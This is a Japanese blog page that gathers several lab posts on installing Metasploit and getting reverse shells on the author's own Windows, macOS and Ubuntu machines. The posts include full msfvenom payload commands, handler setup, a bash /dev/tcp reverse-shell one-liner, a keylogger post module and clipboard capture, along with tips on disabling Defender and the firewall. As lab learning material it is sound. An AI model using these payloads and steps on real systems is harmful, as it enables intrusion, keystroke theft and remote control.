ラベル Metasploit の投稿を表示しています。 すべての投稿を表示
ラベル Metasploit の投稿を表示しています。 すべての投稿を表示

2025年12月12日金曜日

Windows に metasploit をインストールする

Windows に metasploit をインストールする

概要

Windows で攻撃するということはほぼないですが一応インストールしたのでメモしておきます

環境

  • Windows11Home
  • metasploit 6.4.102
  • msfconsole 4.0.5

インストーラからインストール

https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html

ここからインストーラをダウンロードしてインストーします
インストール中に Windows defender が反応しまくりますが無視で OK です

Windows defender で metasploit を除外する

除外しないと msfconsole が起動できません

起動

Powershell でもコマンドプロンプトでも OK です

  • cd C:\metasploit-framework\bin
  • .\msfconsole.bat

起動すれば OK です

最後に

リバースシェルを張りたい場合はここを参考にmsfvenomでペイロード(exe)を作成しWindows上で実行します

基本は metasploit は攻撃側のツールなので Metasploit をインストールした Windows に攻撃するのは Windows を脆弱にするしかないです

  • use でどのマシンにどの脆弱性を使うか決める
  • set payload で脆弱性をつけたときに流し込むペイロード(シェルスクリプトや exe など)を決定
  • exploit で攻撃開始

であとは

  • meterapreter で待ち受けなどを別途する

という流れなので Metasploit をインストールしたマシンはあくまでも攻撃側になります

参考サイト

2025年8月1日金曜日

Metasploit を docker 上で動作させる方法

Metasploit を docker 上で動作させる方法

概要

過去に Mac 上に Metasploit をインストールして使ってみました
どうやら docker でも動かせるので docker 上で Metasploit を試してみました
今回はお試しなので過去に試したリバースシェルを docker でやってみます

環境

  • macOS 15.5
  • docker 28.3.2
  • metasploit v6.4.0-dev

Metasploit (msfconsole) の起動

  • docker run --rm -it --name metasploit -p 4444:4444 metasploitframework/metasploit-framework

リバースシェル用の macho ファイルの作成

先ほど起動したコンテナ上で msfvenom コマンドが使えるのでそれを使って作成します
msfvenom コマンドは PATH に通っていないのでフルパスで指定し実行します
192.168.1.100 は Mac のホストの IP アドレスです

  • /usr/src/metasploit-framework/msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f macho -o /home/msf/payload.macho

コンテナ上に保存した payload.macho ファイルをホスト側の Mac にコピーします

  • docker cp metasploit:/home/msf/payload.macho .

リバースシェルの待受をする

msfconsole が起動しているコンテナ上で実行します

  • use exploit/multi/handler
  • set payload osx/x64/meterpreter_reverse_tcp
  • set LHOST 0.0.0.0
  • set LPORT 4444
  • exploit

実際のコンソール上では以下のようになります

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4444 

ホストマシン上で macho ファイルの実行

あとは Mac 上で payload.macho ファイルを実行すれば OK です
msfconsole で起動したハンドラ側で操作できることを確認します

  • chmod +x ./payload.macho
  • ./payload.macho

msfconsole 側では meterpreter が起動し専用のコマンドが起動できるようになります

[*] Meterpreter session 2 opened (172.17.0.2:4444 -> 192.168.65.1:51203) at 2025-07-29 01:39:02 +0000

meterpreter > sysinfo
Computer     : mymac.local
OS           :  (macOS 15.5.-1)
Architecture : x64
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx

最後に

Metasploit を docker 上で起動してみました

Metasploit を macOS 上で動かす場合には Homebrew でインストールすることも出来ますが非推奨のインストール方法らしくまた実際に Homebrew でインストールすると sudo: sorry, you are not allowed to preserve the environment になりインストールできませんでした
なので可能な限り docker や公式のインストール手順を使ってインストールしましょう

セキュリティ的な観点からも docker で動かすほうがいいのかもしれません

おまけ: リバースシェルの中身

macho ファイルはバイナリですが sh は普通に中身を確認できます

bash -c '0<&143-;exec 143<>/dev/tcp/192.168.100.2/4444;sh <&143 >&143 2>&143'

簡単に説明すると

  • ファイルディスクリプタ 143 を標準入力(fd 0)に割り当て
  • /dev/tcp/ホスト/ポート を読み書き(双方向)で開き、ファイルディスクリプタ 143 に割り当て
  • sh(シェル)を起動し、その stdin, stdout, stderr をすべて fd 143 に接続

fd が 143 なのに深い意味はなく単純に使用されていないであろう大きめの番号を指定しているだけだと思われます

おまけ2: meterpreter ではなく nc で待ち受ける方法

今回はリバースシェル作成時にペイロード osx/x64/meterpreter_reverse_tcp を指定しましたがこれは待ち受け側が meterpreter であることを前提にしたリバースシェルになります
もし meterpreter を使わず nc を使って待ち受ける場合ペイロード osx/x64/shell_reverse_tcp を使って msfvenom を使ってリバースシェルを作成します

  • /usr/src/metasploit-framework/msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f macho -o /home/msf/payload2.macho

これを Mac 側に持っていき

  • chmod +x payload2.macho
  • ./payload2.macho

で起動し

  • nc -lv 4444

で待ち受けすることでシェルを実行できるようになります

参考サイト

2024年3月22日金曜日

Mestasploit msfconsole インストール時のトラブルシューティング

Mestasploit msfconsole インストール時のトラブルシューティング

概要

Intel Mac に Metasploit をインストールし msfconsole を起動する際にいろいろと手間取ったのでトラブルシューティングを紹介します

環境

  • macOS 11.7.10
  • Metasploit 6.3.60

Could not find rake-13.0.6 in any of the sources

rbenv をインストールしている環境だと出る可能性がありそうです
なぜか 3.0.5 で固定されているので修正します

  • cd /opt/metasploit-framework/embedded/framework

最新に合わせたり指定のバージョンを変更する場合は以下です

  • sudo rbenv local system

rbenv を使っていない場合は削除しましょう

  • sudo rm .ruby-version

そして

  • sudo bundle install

pg のインストールに失敗

  • brew install libpq
  • bundle config build.pg --with-pg-config=/usr/local/opt/libpq/bin/pg_config
  • sudo bundle install

msfconsole の実行パスを変える

/opt/metasploit-framework/embedded/framework ができればここに msfconsole がインストールされるのでここで実行するとうまく起動できます

  • cd /opt/metasploit-framework/embedded/framework
  • bundle exec msfconsole

また msf6 コンソールになった場合は msfvenom などのコマンドは

  • bundle exec msfvenom

という感じで実行しましょう

最後に

M2 mac の際には出なかったので環境による差異なのかなと思います
基本は Ruby 周りのトラブルシューティングをすれば OK です

2024年3月21日木曜日

Mac でキーロガー

Mac でキーロガー

概要

Metasploit を使って Mac でキーロガーを試してみました

環境

  • macOS 11.7.10
  • Metasploit 6.3.60

起動

  • bundle exec msfconsole

リバースシェル用スクリプト作成

  • bundle exec msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.2 -f raw -o /path/to/test.sh

Mac 側待ち受け

-j を付与してバックグランドセッションにします

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf6 exploit(multi/handler) > exploit -j 

[*] Started reverse TCP handler on 192.168.1.2:4444

リバースシェル実行

キーロガーをされる側に生成した

test.sh
を配置して実行しましょう
テストのため同一ホストでも OK です

  • chmod +x /path/to/test.sh
  • ./path/to/test.sh

キーロガー post の実行

先ほどバックグラウンドで接続したセッションを使って post/osx/capture/keylog_recorder を実行します

msf6 post(osx/capture/keylog_recorder) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  5         shell cmd/unix               192.168.1.2:4444 -> 192.168.1.2:61502 (192.168.1.2)

msf6 post(osx/capture/keylog_recorder) > use post/osx/capture/keylog_recorder
msf6 post(osx/capture/keylog_recorder) > set SESSION 5
SESSION => 5
msf6 post(osx/capture/keylog_recorder) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: unix. This module works with: OSX.
[*] Executing ruby command to start keylogger process.
[*] Ruby process executing with pid 13679
[*] Entering read loop
[*] Waiting 10 seconds.

ログファイルは /Users/hawk/.msf4/loot/20240314115337_default_192.168.1.2_keylog_742643.txt という感じのファイルで保存されます

最後に

Metaexploit を使って Mac でキーロガーする方法を試してみました
一度セッションを確立したあとで別の post を実行するのがポイントです

ログファイルを見ると ctrl や enter は取得できているようですが普通のキーは cmd という感じで表示されるのでこれが普通のキーで表示する方法が不明でした

参考サイト

2024年3月20日水曜日

Mac で meterpreter を使ったリバースシェルを行う

Mac で meterpreter を使ったリバースシェルを行う

概要

meterpreter ターミナルが使えほうがいろいろ便利なのでやってみました

環境

  • macOS 11.7.10
  • Metasploit 6.3.60

mach-o ファイルの作成

  • bundle exec msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.1.2 -f macho -o /path/to/test.macho

Mac 側待ち受け

msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload osx/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.2:4444

mach-o ファイル起動

  • chmod +x test.macho
  • ./test.macho

動作確認

[*] Meterpreter session 7 opened (192.168.1.2:4444 -> 192.168.1.2:62110) at 2024-03-14 12:46:47 +0900

meterpreter > getuid
Server username: user01
meterpreter > sysinfo
Computer     : test.local
OS           : macOS Big Sur (macOS 11.7.10)
Architecture : x86
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
meterpreter > keyscan_start
[-] The "keyscan_start" command is not supported by this Meterpreter type (x64/osx)

keyscan_start は使えないようです
クリップボードの取得はできそうです

meterpreter > load extapi
Loading extension extapi...Success.

meterpreter > clipboard_get_data
Text captured at 
=================
test.sh
=================

最後に

Mac でリバースシェルの際に meterpreter モードで接続する方法を紹介しました
おそらく shell 方式ではできないので meterpreter を使いたい場合は mach-o ファイルとペイロードを使いましょう

参考サイト

2024年3月19日火曜日

Metasploit で Ubuntu リバースシェルをしてみた

Metasploit で Ubuntu リバースシェルをしてみた

概要

前回 Windows に対して行ってみました
今回は Ubuntu 環境に対して行ってみます

環境

  • Ubuntu 22.04
  • Metasploit 6.3.60

インストール

こちら

リバースシェルスクリプト生成

payload = cmd/unix/reverse_bash を使います
似たようなペイロードに generic/shell_reverse_tcp や linux/x64/shell_reverse_tcp がありますが形式がバイナリであったり elf 形式でわかりづらいので今回は bash 形式のペイロードを使います

  • msfconsole

msf6> モードになります

  • msfvenom -p cmd/unix/reverse_bash LHOST=192.168.100.2 -f raw -o /home/devops/work/test.sh

192.168.100.2 は Ubuntu のアドレスです

待ち受け

こちらは好きなホストで実施して OK です
リバースシェルを待ち受ける側のホストで実行します

  • msfconsole

msf6> モードになります

  • use exploit/multi/handler
  • set payload cmd/unix/reverse_bash
  • set LHOST 192.168.100.2
  • exploit

動作確認

Ubuntu 側に test.sh を配置して実行権限を与えます

  • chmod +x /home/devops/work/test.sh
  • ./home/devops/work/test.sh

あとは実行すると待ち受け側でコマンドが実行できることが確認できます

[*] Started reverse TCP handler on 192.168.100.2:4444
[*] Command shell session 2 opened (192.168.100.2:4444 -> 192.168.100.2:41490) at 2024-03-13 16:55:59 +0900

pwd
/home/devops/work
uname -an
Linux ubuntu01 5.15.0-92-generic #102-Ubuntu SMP Wed Jan 10 09:33:48 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

最後に

Metasploit を使って Ubuntu に対してリバースシェルを行ってみました
生成されるシェルスクリプトはかなりシンプルなファイルなのでわざわざ Metasploit を使わなくても OK ですが Metasploit に慣れるためにそうしています

参考サイト

2024年3月18日月曜日

Mac に Metasploit をインストールして Windows にアクセスする

Mac に Metasploit をインストールして Windows にアクセスする

概要

Mac に Metasploit をインストールして Windows にアクセスするテストをしてみました
Windows は UTM で同一ネットワーク上に構築しています

環境

  • macOS 14.4
  • Metasploit 6.3.60
  • ARM Windows11 23H2 (UTM)

インストール

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

brew install でもいけそうでしたが今回は公式の手順を使ってインストールしました

Tips: Windows ファイアウォールの無効化

特に外部からのアクセスがないのであればファイアウォールは無効にしたほうが簡単にテストできます

個別で許可しても OK

詳細設定から個別でポートやプロトコルを許可しても OK です
以下は ping (ICMP) を許可する場合です
真ん中あたりに許可するチェックボックスがあるのでチェックします

一覧画面でチェックマークがつけば許可状態になります

Mac 側のファイアウォールはデフォルトでは inactive などで特に何もする必要はないはずです

Metasploit 初期化

  • /opt/metasploit-framework/bin/msfconsole
 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.

Would you like to add msfconsole and other programs to your default PATH? yes
You may need to start a new terminal or log in again for this to take effect.

Would you like to use and setup a new database (recommended)? yes
Running the 'init' command for the database:
Creating database at /Users/user01/.msf4/db
Creating db socket file at /var/folders/by/zv83htxj087dxf35rjpvff2h0000gn/T
Starting database at /Users/user01/.msf4/db...server starting
success
Creating database users
Writing client authentication configuration file /Users/user01/.msf4/db/pg_hba.conf
Stopping database at /Users/user01/.msf4/db
Starting database at /Users/user01/.msf4/db...server starting
success
Creating initial database schema
Database initialization successful

 ** Metasploit Framework Initial Setup Complete **

Metasploit tip: To save all commands executed since start up to a file, use the 
makerc command

アクセスできるかテスト

  • /opt/metasploit-framework/bin/msfconsole

まずはアクセステスト用のファイルを生成します

msf6 > search type:payload windows/meterpreter/reverse_tcp platform:windows
msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.1 -f exe -o /Users/user01/Downloads/test.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.1 -f exe -o /Users/user01/Downloads/test.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /Users/user01/Downloads/test.exe

Mac 側を待受状態にします

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.65.1
LHOST => 192.168.65.1
msf6 exploit(multi/handler) > show options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.65.1     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.65.1:4444

あとは windows 側に test.exe を配置し実行してリバースシェルが起動するか確認しましょう

[*] Sending stage (176198 bytes) to 192.168.65.2
[*] Meterpreter session 1 opened (192.168.65.1:4444 -> 192.168.65.2:49897) at 2024-03-13 09:05:49 +0900

meterpreter > ls
Listing: Z:\
============

Mode              Size   Type  Last modified                      Name
----              ----   ----  -------------                      ----
100666/rw-rw-rw-  6148   fil   2024-03-13 08:59:01 +0900          .DS_Store
100666/rw-rw-rw-  0      fil   2023-06-08 10:43:10 +0900          .localized
040777/rwxrwxrwx  0      dir   584554050854-11-09 16:00:16 +0900  .spice-clipboard
100777/rwxrwxrwx  73802  fil   2024-03-12 17:12:55 +0900          test.exe

meterpreter > sysinfo
Computer        : WINDOWS-0MPIPQN
OS              : Windows 11 (10.0 Build 22631).
Architecture    : x64
System Language : ja_JP
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

最後に

Mac に Metasploit をインストールしローカルネットワーク用の Windows マシンを使ってアクセステストをしてみました
ファイアウォールが無効になっている場合は元に戻すかテスト用の Windows マシン自体が不要であれば削除してしまいましょう
Windows 側に送った test.exe はウイルスファイルとして削除されてしまうことがあります
その場合は Windows Defender ウイルス対策で除外ファイルとして設定するか一時的にウイルス対策を停止しましょう

参考サイト